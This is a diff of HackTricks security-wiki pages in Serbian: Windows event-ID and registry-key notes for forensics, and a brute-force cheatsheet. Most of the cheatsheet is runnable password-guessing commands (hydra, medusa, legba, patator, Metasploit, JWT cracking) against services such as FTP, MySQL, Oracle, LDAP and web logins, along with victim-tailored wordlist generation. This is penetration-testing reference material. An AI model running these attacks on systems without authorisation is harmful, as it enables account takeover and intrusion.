* **0xC0000064**: Korisničko ime ne postoji - Može ukazivati na napad enumeracije korisničkih imena.
|
||||||
|
* **0xC000006A**: Ispravno korisničko ime, ali pogrešna lozinka - Mogući pokušaj nagađanja ili napad metodom isprobavanja svih mogućih kombinacija lozinki.
|
||||||
|
* **0xC0000234**: Korisnički nalog zaključan - Može pratiti napad metodom isprobavanja svih mogućih kombinacija lozinki koji rezultira višestrukim neuspelim prijavljivanjima.
|
||||||
|
* **0xC0000072**: Onemogućen nalog - Neovlašćeni pokušaji pristupa onemogućenim nalozima.
|
||||||
|
* **0xC000006F**: Prijavljivanje van dozvoljenog vremena - Ukazuje na pokušaje pristupa van postavljenih vremenskih okvira za prijavljivanje, što može biti znak neovlašćenog pristupa.
|
||||||
|
* **0xC0000070**: Kršenje ograničenja radne stanice - Može biti pokušaj prijavljivanja sa neovlašćene lokacije.
|
||||||
|
* **0xC0000193**: Isteče vreme naloga - Pokušaji pristupa sa isteklim korisničkim nalozima.
|
||||||
|
* **0xC0000071**: Istečena lozinka - Pokušaji prijavljivanja sa zastarelim lozinkama.
|
||||||
|
* **0xC0000133**: Problemi sa sinhronizacijom vremena - Velike razlike u vremenu između klijenta i servera mogu ukazivati na sofisticiranije napade poput "pass-the-ticket".
|
||||||
|
* **0xC0000224**: Obavezna promena lozinke - Česte obavezne promene mogu ukazivati na pokušaj narušavanja sigurnosti naloga.
|
||||||
|
* **0xC0000225**: Ukazuje na grešku u sistemu, a ne na sigurnosni problem.
|
||||||
|
* **0xC000015b**: Odbijen tip prijavljivanja - Pokušaj pristupa sa neovlašćenim tipom prijavljivanja, kao što je pokušaj korisnika da izvrši prijavljivanje servisa.
|
||||||
|
|
||||||
|
#### EventID 4616:
|
||||||
|
|
||||||
|
* **Promena vremena**: Izmena sistemskog vremena, može otežati forenzičku analizu događaja.
|
||||||
|
|
||||||
|
#### EventID 6005 i 6006:
|
||||||
|
|
||||||
|
* **Pokretanje i gašenje sistema**: EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje sistema.
|
||||||
|
|
||||||
|
#### EventID 1102:
|
||||||
|
|
||||||
|
* **Brisanje logova**: Brisanje sigurnosnih logova, što često ukazuje na pokušaj prikrivanja nezakonitih aktivnosti.
|
||||||
|
|
||||||
|
#### EventID-ovi za praćenje USB uređaja:
|
||||||
|
|
||||||
|
* **20001 / 20003 / 10000**: Prvo povezivanje USB uređaja.
|
||||||
|
* **10100**: Ažuriranje drajvera USB uređaja.
|
||||||
|
* **EventID 112**: Vreme umetanja USB uređaja.
|
||||||
|
|
||||||
|
Za praktične primere simuliranja ovih vrsta prijavljivanja i prilika za izvlačenje akreditiva, pogledajte detaljan vodič \[Altered Security]\(https://www.alteredsecurity
|
||||||
|
|
||||||
|
#### Događaji o napajanju sistema
|
||||||
|
|
||||||
|
EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje.
|
||||||
|
|
||||||
|
#### Brisanje logova
|
||||||
|
|
||||||
|
Security EventID 1102 signalizira brisanje logova, što je kritičan događaj za forenzičku analizu.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,83 @@
|
||||||
|
# Interesantni Windows registarski ključevi
|
||||||
|
|
||||||
|
### Interesantni Windows registarski ključevi
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
### **Windows verzija i informacije o vlasniku**
|
||||||
|
- Na lokaciji **`Software\Microsoft\Windows NT\CurrentVersion`**, možete pronaći Windows verziju, Service Pack, vreme instalacije i ime registrovanog vlasnika na jednostavan način.
|
||||||
|
|
||||||
|
### **Ime računara**
|
||||||
|
- Hostname se nalazi pod **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||||
|
|
||||||
|
### **Podešavanje vremenske zone**
|
||||||
|
- Vremenska zona sistema se čuva u **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||||
|
|
||||||
|
### **Pracenje vremena pristupa**
|
||||||
|
- Prema zadanim postavkama, praćenje vremena poslednjeg pristupa je isključeno (**`NtfsDisableLastAccessUpdate=1`**). Da biste ga omogućili, koristite:
|
||||||
|
`fsutil behavior set disablelastaccess 0`
|
||||||
|
|
||||||
|
### Windows verzije i Service Pack-ovi
|
||||||
|
- **Windows verzija** označava izdanje (npr. Home, Pro) i njegovo izdanje (npr. Windows 10, Windows 11), dok su **Service Pack-ovi** ažuriranja koja uključuju ispravke i ponekad nove funkcije.
|
||||||
|
|
||||||
|
### Omogućavanje praćenja vremena poslednjeg pristupa
|
||||||
|
- Omogućavanje praćenja vremena poslednjeg pristupa omogućava vam da vidite kada su datoteke poslednji put otvorene, što može biti ključno za forenzičku analizu ili praćenje sistema.
|
||||||
|
|
||||||
|
### Detalji o mrežnim informacijama
|
||||||
|
- Registar sadrži obimne podatke o mrežnim konfiguracijama, uključujući **vrste mreža (bežične, kablovske, 3G)** i **kategorije mreže (Javna, Privatna/Kućna, Domen/Posao)**, što je važno za razumevanje postavki mrežne sigurnosti i dozvola.
|
||||||
|
|
||||||
|
### Klijentsko keširanje (CSC)
|
||||||
|
- **CSC** poboljšava pristup datotekama van mreže keširanjem kopija deljenih datoteka. Različite postavke **CSCFlags** kontrolišu način i koje datoteke se keširaju, što utiče na performanse i korisničko iskustvo, posebno u okruženjima sa povremenom konekcijom.
|
||||||
|
|
||||||
|
### Programi koji se automatski pokreću
|
||||||
|
- Programi navedeni u različitim registarskim ključevima `Run` i `RunOnce` automatski se pokreću prilikom pokretanja sistema, utičući na vreme pokretanja sistema i potencijalno predstavljajući tačke interesa za identifikaciju malvera ili neželjenog softvera.
|
||||||
|
|
||||||
|
### Shellbags
|
||||||
|
- **Shellbags** ne samo da čuvaju postavke za prikaz fascikli, već pružaju i forenzičke dokaze o pristupu fasciklama čak i ako fascikla više ne postoji. Oni su neprocenjivi za istrage, otkrivajući korisničku aktivnost koja nije očigledna na druge načine.
|
||||||
|
|
||||||
|
### Informacije i forenzika o USB uređajima
|
||||||
|
- Detalji o USB uređajima koji se čuvaju u registru mogu pomoći u praćenju koji su uređaji bili povezani sa računarom, potencijalno povezujući uređaj sa prenosom osetljivih datoteka ili incidentima neovlašćenog pristupa.
|
||||||
|
|
||||||
|
### Serijski broj zapremine
|
||||||
|
- **Serijski broj zapremine** može biti ključan za praćenje specifične instance sistema datoteka, korisno u forenzičkim scenarijima gde je potrebno utvrditi poreklo datoteke na različitim uređajima.
|
||||||
|
|
||||||
|
### **Detalji o isključivanju**
|
||||||
|
- Vreme isključivanja i broj isključivanja (samo za XP) čuvaju se u **`System\ControlSet001\Control\Windows`** i **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||||
|
|
||||||
|
### **Konfiguracija mreže**
|
||||||
|
- Za detaljne informacije o mrežnom interfejsu, pogledajte **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||||
|
- Prva i poslednja vremena povezivanja na mrežu, uključujući VPN veze, beleže se pod različitim putanjama u **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||||
|
|
||||||
|
### **Deljene fascikle**
|
||||||
|
- Deljene fascikle i postavke nalaze se pod **`System\ControlSet001\Services\lanmanserver\Shares`**. Postavke klijentskog keširanja (CSC) određuju dostupnost datoteka van mreže.
|
||||||
|
|
||||||
|
### **Programi koji se automatski pokreću**
|
||||||
|
- Putanje poput **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** i slični unosi pod `Software\Microsoft\Windows\CurrentVersion` detaljno opisuju programe koji se pokreću prilikom pokretanja sistema.
|
||||||
|
|
||||||
|
### **Pretrage i uneti putovi**
|
||||||
|
- Pretrage i uneti putovi u Explorer-u se prate u registru pod **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** za WordwheelQuery i TypedPaths, redom.
|
||||||
|
|
||||||
|
### **Nedavni dokumenti i Office datoteke**
|
||||||
|
- Nedavno korišćeni dokumenti i Office datoteke se beleže u `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` i specifičnim putanjama za verzije Office-a.
|
||||||
|
|
||||||
|
### **Najskorije korišćene (MRU) stavke**
|
||||||
|
- Liste MRU, koje pokazuju nedavne putanje do datoteka i komande, čuvaju se u različitim podključevima `ComDlg32` i `Explorer` pod `NTUSER.DAT`.
|
||||||
|
|
||||||
|
### **Pracenje korisničke aktivnosti**
|
||||||
|
- Funkcija User Assist beleži detaljne statistike o korišćenju aplikacija, uključujući broj pokretanja i vreme poslednjeg pokretanja, na lokaciji **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||||
|
|
||||||
|
### **Analiza Shellbags-a**
|
||||||
|
- Shellbags, koji otkrivaju detalje o pristupu fasciklama
|
|
@ -1,4 +1,4 @@
|
||||||
# Brute Force - Šema prečica
|
# Brute Force - CheatSheet
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -37,13 +37,14 @@ Drugi načini podrške HackTricks-u:
|
||||||
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
|
||||||
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
|
||||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||||
|
|
||||||
## **Napravite svoje rečnike**
|
## **Napravite svoje rečnike**
|
||||||
|
|
||||||
Pronađite što više informacija o cilju koliko možete i generišite prilagođeni rečnik. Alati koji mogu pomoći:
|
Pronađite što više informacija o cilju koliko možete i generišite prilagođeni rečnik. Alati koji mogu pomoći:
|
||||||
|
|
||||||
### Crunch
|
### Crunch
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||||||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||||||
|
@ -54,19 +55,25 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||||
^ Special characters including spac
|
^ Special characters including spac
|
||||||
crunch 6 8 -t ,@@^^%%
|
crunch 6 8 -t ,@@^^%%
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cewl
|
### Cewl
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cewl example.com -m 5 -w words.txt
|
cewl example.com -m 5 -w words.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### [CUPP](https://github.com/Mebus/cupp)
|
### [CUPP](https://github.com/Mebus/cupp)
|
||||||
|
|
||||||
Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...)
|
Generišite lozinke na osnovu vašeg znanja o žrtvi (imena, datumi...)
|
||||||
|
|
||||||
```
|
```
|
||||||
python3 cupp.py -h
|
python3 cupp.py -h
|
||||||
```
|
```
|
||||||
|
|
||||||
### [Wister](https://github.com/cycurity/wister)
|
### [Wister](https://github.com/cycurity/wister)
|
||||||
|
|
||||||
Alatka za generisanje liste reči, koja vam omogućava da obezbedite skup reči, pružajući vam mogućnost da kreirate višestruke varijacije iz datih reči, stvarajući jedinstvenu i idealnu listu reči za korišćenje u vezi sa određenim ciljem.
|
Alatka za generisanje liste reči, koja vam omogućava da obezbedite skup reči, pružajući vam mogućnost da kreirate višestruke varijacije iz datih reči, stvarajući jedinstvenu i idealnu listu reči za korišćenje u vezi sa određenim ciljem.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||||
|
|
||||||
|
@ -85,6 +92,7 @@ Generated 67885 lines.
|
||||||
|
|
||||||
Finished in 0.920s.
|
Finished in 0.920s.
|
||||||
```
|
```
|
||||||
|
|
||||||
### [pydictor](https://github.com/LandGrey/pydictor)
|
### [pydictor](https://github.com/LandGrey/pydictor)
|
||||||
|
|
||||||
### Wordlists
|
### Wordlists
|
||||||
|
@ -113,6 +121,7 @@ Pristupite danas:
|
||||||
Poređane abecedno po imenu usluge.
|
Poređane abecedno po imenu usluge.
|
||||||
|
|
||||||
### AFP
|
### AFP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -p 548 --script afp-brute <IP>
|
nmap -p 548 --script afp-brute <IP>
|
||||||
msf> use auxiliary/scanner/afp/afp_login
|
msf> use auxiliary/scanner/afp/afp_login
|
||||||
|
@ -122,86 +131,116 @@ msf> set PASS_FILE <PATH_PASSWDS>
|
||||||
msf> set USER_FILE <PATH_USERS>
|
msf> set USER_FILE <PATH_USERS>
|
||||||
msf> run
|
msf> run
|
||||||
```
|
```
|
||||||
|
|
||||||
### AJP
|
### AJP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ajp-brute -p 8009 <IP>
|
nmap --script ajp-brute -p 8009 <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace)
|
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cassandra
|
### Cassandra
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script cassandra-brute -p 9160 <IP>
|
nmap --script cassandra-brute -p 9160 <IP>
|
||||||
# legba ScyllaDB / Apache Casandra
|
# legba ScyllaDB / Apache Casandra
|
||||||
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
||||||
```
|
```
|
||||||
|
|
||||||
### CouchDB
|
### CouchDB
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||||
```
|
```
|
||||||
|
|
||||||
### Docker Registar
|
### Docker Registar
|
||||||
|
|
||||||
```
|
```
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||||
```
|
```
|
||||||
|
|
||||||
### Elasticsearch
|
### Elasticsearch
|
||||||
|
|
||||||
```
|
```
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||||
```
|
```
|
||||||
|
|
||||||
### FTP
|
### FTP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTTP Generičko Brute
|
### HTTP Generičko Brute
|
||||||
|
|
||||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||||
|
|
||||||
### HTTP Osnovna Autentifikacija
|
### HTTP Osnovna Autentifikacija
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||||
# Use https-get mode for https
|
# Use https-get mode for https
|
||||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||||
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTTP - NTLM
|
### HTTP - NTLM
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTTP - Post Form
|
### HTTP - Post Form
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||||
# Use https-post-form mode for https
|
# Use https-post-form mode for https
|
||||||
```
|
```
|
||||||
|
|
||||||
Za http**s** morate promeniti sa "http-post-form" na "**https-post-form"**
|
Za http**s** morate promeniti sa "http-post-form" na "**https-post-form"**
|
||||||
|
|
||||||
### **HTTP - CMS --** (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle
|
### **HTTP - CMS --** (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||||
```
|
```
|
||||||
|
|
||||||
### IMAP
|
### IMAP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||||
nmap -sV --script imap-brute -p <PORT> <IP>
|
nmap -sV --script imap-brute -p <PORT> <IP>
|
||||||
legba imap --username user --password data/passwords.txt --target localhost:993
|
legba imap --username user --password data/passwords.txt --target localhost:993
|
||||||
```
|
```
|
||||||
|
|
||||||
### IRC
|
### IRC
|
||||||
|
|
||||||
### IRC
|
### IRC
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### ISCSI
|
### ISCSI
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#hashcat
|
#hashcat
|
||||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||||
|
@ -224,27 +263,37 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
|
||||||
#https://github.com/lmammino/jwt-cracker
|
#https://github.com/lmammino/jwt-cracker
|
||||||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||||||
```
|
```
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ldap-brute -p 389 <IP>
|
nmap --script ldap-brute -p 389 <IP>
|
||||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||||
```
|
```
|
||||||
|
|
||||||
### MQTT
|
### MQTT
|
||||||
|
|
||||||
```
|
```
|
||||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Mongo
|
### Mongo
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||||
use auxiliary/scanner/mongodb/mongodb_login
|
use auxiliary/scanner/mongodb/mongodb_login
|
||||||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### MSSQL
|
### MSSQL
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||||
```
|
```
|
||||||
|
|
||||||
### MySQL
|
### MySQL
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# hydra
|
# hydra
|
||||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||||
|
@ -258,9 +307,11 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
|
||||||
#Legba
|
#Legba
|
||||||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||||||
```
|
```
|
||||||
|
|
||||||
### OracleSQL
|
### OracleSQL
|
||||||
|
|
||||||
### OracleSQL
|
### OracleSQL
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||||
|
|
||||||
|
@ -284,17 +335,23 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||||
|
|
||||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
Da biste koristili **oracle\_login** sa **patatorom**, potrebno je **instalirati**:
|
Da biste koristili **oracle\_login** sa **patatorom**, potrebno je **instalirati**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip3 install cx_Oracle --upgrade
|
pip3 install cx_Oracle --upgrade
|
||||||
```
|
```
|
||||||
[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
|
|
||||||
|
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/rs/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** i **11.2.0.3**):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||||
```
|
```
|
||||||
|
|
||||||
### POP
|
### POP
|
||||||
|
|
||||||
Brute force attacks against POP (Post Office Protocol) servers can be used to guess usernames and passwords. This can be done using tools like Hydra, Ncrack, Medusa, or custom scripts. It's important to note that brute forcing is illegal unless you have explicit permission to test the security of a system.
|
